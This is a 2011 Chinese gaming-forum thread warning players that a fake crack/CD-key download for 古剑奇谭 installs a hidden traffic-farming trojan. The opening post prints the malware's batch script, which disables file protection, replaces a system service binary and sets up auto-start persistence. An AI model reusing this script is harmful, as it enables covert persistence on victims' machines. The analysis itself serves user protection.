仙剑之十里坡

标题: 下载《古剑奇谭》破解补丁当心变肉鸡 [打印本页]

作者: 雾都弦歌 时间: 2011-5-9 19:01
标题: 下载《古剑奇谭》破解补丁当心变肉鸡
本帖最后由雾都弦歌于 2011-5-9 19:08 编辑

最近对于“仙剑迷”来说又有了一个好消息，由原《仙剑奇侠传》的仙剑之父张毅君带领原班人马历时近三年开发的大型3D游戏《古剑奇谭》跟玩家正式见面了，游戏中融合了众多真实的人文地理风貌，将这些带有浓郁古韵和中国味的风物呈现在玩家的眼前，相信又是一款让人倾心的力作。

图（1）

但是由于《古剑奇谭》是单机版的，需要CDKEY来激活，所以现在就有一些非法者利用玩家寻求CDKEY的迫切心理，利用假冒的CDKEY来引诱大家下载，从而达到自己刷流量、散布恶意广告等非法目的，同时也给玩家的计算机安全带来了隐患。
目前巨盾安全实验室已经成功截取到这一样本，现在拿来简单分析一下，希望广大游戏玩家在寻求CDKEY的时候能够提高警惕。
首先，我们在该网站：hxxp://hi.baidu.com/leeqiand/blog/item/50d14f9bedc325b8c8eaf488.html（为了用户安全，已将http替换为hxxp），下载到这样一个假冒的CDKEY一份。下载回来之后咋一看是一个应用程序，但是如果你电脑上安装了Winrar之类的解压工具，先右击看一下，你就会发现刚刚下载的文件是一个压缩包了，如图（2）所示：

图（2）

确定是压缩包之后，我们就不急于打开了，因为现在很多恶意的外挂都是这种压缩包形式的，里面可以暗藏很多命令，比如修改主页，运行压缩包中某个程序等等。接下来我就用Winrar来打开这个文件，暗藏的命令就会显露无遗了。如图（3）所示：

根据图（3）中内容，我们会看到双击该压缩包之后会自动执行360.bat，360.bat的内容如下：
1.wfp.exe
2.del clipsrv.exe /f /q
3.copy clipsrv1.exe clipsrv.exe /y
4.sc create ClipSrv binpath= c:\windows\system32\clipsrv.exe
5.sc description ClipSrv "启用“剪贴簿查看器”储存信息并与远程计算机共享。如果此服务终止，“剪贴簿查看器” 将无法与远程计算机共享信息。如果此服务被禁用，任何依赖它的服务将无法启动。"
6.sc config ClipSrv start= AUTO
7.ping 127.0.0.1 -n 300
8.c:\windows\system32\vvisit.exe

复制代码
该批处理文件接下来将会执行wfp.exe（关闭Windows文件保护功能），然后删除系统目录下的clipsrv.exe(微软Windows操作系统剪切板相关程序剪切、拷贝和粘贴 ),将clipsrv1.exe替换成clipsrv.exe,配制服务实现开机自启动。
然后会在后台利用“沙丁鱼网站流量系统”刷流量，如图（4）所示。假冒破解补丁中config.ini存放着加密后的登陆名和密码，当browser文件夹下存在hide.txt时，该流量系统将会以隐藏方式运行，使用户无法觉察，当文件夹下没有hide.txt时，该流量系统就会显示出来，有兴趣的玩家可以试一下。

图（4）

最后，该非法者通过与“沙丁鱼网站”进行积分兑换，从而达到获取利益的目的。如图（5）所示：

图（5）

通过以上的流程，相信大家对这种刷流量，并进行获取利益的操作有了一定的了解，希望广大玩家引以为戒，共建一个安全、洁净的网络环境。
最后我们来看一下这个刷流量者的一些信息吧，在网络上寻找蛛丝马迹还是很容易的，希望大家不要哪天被人这样人肉了，螳螂捕蝉黄雀在后啊，哈哈。

最后，雾都弦歌提醒大家，不要轻信网络上的这种“免费午餐”，多支持国产单机游戏。（当然，也并不是没有破解补丁，但是为了支持国产，我希望破解补丁不要出现在互联网上...）

作者: 偌雨 时间: 2011-5-9 19:15
古剑是有破解的
不过都到地下了
而且还商业化了
他们做个破解补丁放淘宝上卖 5到10块就能买到。

作者: 御剑天河 时间: 2011-5-9 19:21
赚钱嘛~~何况便宜啊

作者: 残阳泪珀 时间: 2011-5-9 19:36
商业化是违法的如果没有利益谁愿意这么做小心为上

作者: 林间御风 时间: 2011-5-9 21:41
对，小心为上......话说雾都你懂的.......自己在心里憋着，1字别泄漏......

作者: 文无缺 时间: 2011-5-10 19:11
其实我买了古剑正版激活码，又自行去买了破解版的，试试2者有神马差别。

作者: BlackFeather 时间: 2011-5-12 18:55
仙剑之父啥时候变成张毅君了？

作者: 冷剑随风 时间: 2011-5-12 20:55
- -所以还是老老实实的支持正版吧……也是为了国产游戏的未来考虑啊……

作者: 御剑天河 时间: 2011-5-13 17:53
不然以后就神马游戏都没地玩啦~~~~

作者: 落落苏 时间: 2011-5-14 21:42
回复 3# 御剑天河

那種侵權的死的很慘的。

作者: 残酷龙卷风 时间: 2011-5-20 23:59
本帖最后由残酷龙卷风于 2011-5-21 00:05 编辑

当然，也并不是没有破解补丁，但是为了支持国产，我希望破解补丁不要出现在互联网上...

大家都支持正版吧~

作者: 雾都弦歌 时间: 2011-6-18 15:28
我真猜不透，为什么国产单机游戏做不到外国单机游戏那样精致？

作者: BlackFeather 时间: 2011-6-18 15:59

我真猜不透，为什么国产单机游戏做不到外国单机游戏那样精致？
雾都弦歌发表于 2011-6-18 15:28

因为部分制作人不行

作者: 残阳泪珀 时间: 2011-6-18 16:12
回复 12# 雾都弦歌

原因很多比如盗版横行使利润过低从而很少有人愿意花大价钱投入单机游戏的制作比如国内游戏业界的浮躁致使游戏做的不够精致更多的想到赚钱而不是责任再比如国内游戏形式的单一平台的单一等等

作者: 雾都弦歌 时间: 2011-6-18 17:37
回复 14# 残阳泪珀

有时我都觉得玩国产单机还不如玩外国单机，像生化危机，质量效应等等，同样是RPG，咋相差这么大...

作者: 残阳泪珀 时间: 2011-6-18 19:37
回复 15# 雾都弦歌

生化危机？RPG？

作者: BlackFeather 时间: 2011-6-18 19:57
RPG的灵魂的确是剧情
rPG的身体是游戏性……没有身体光有剧情是不行的……但是没有几个注意身体

作者: BlackFeather 时间: 2011-6-19 12:01
突然想说一句

真正的古剑破解补丁长什么样，有多大我也不是不知道

欢迎光临仙剑之十里坡 (http://palslp.com/bbs/)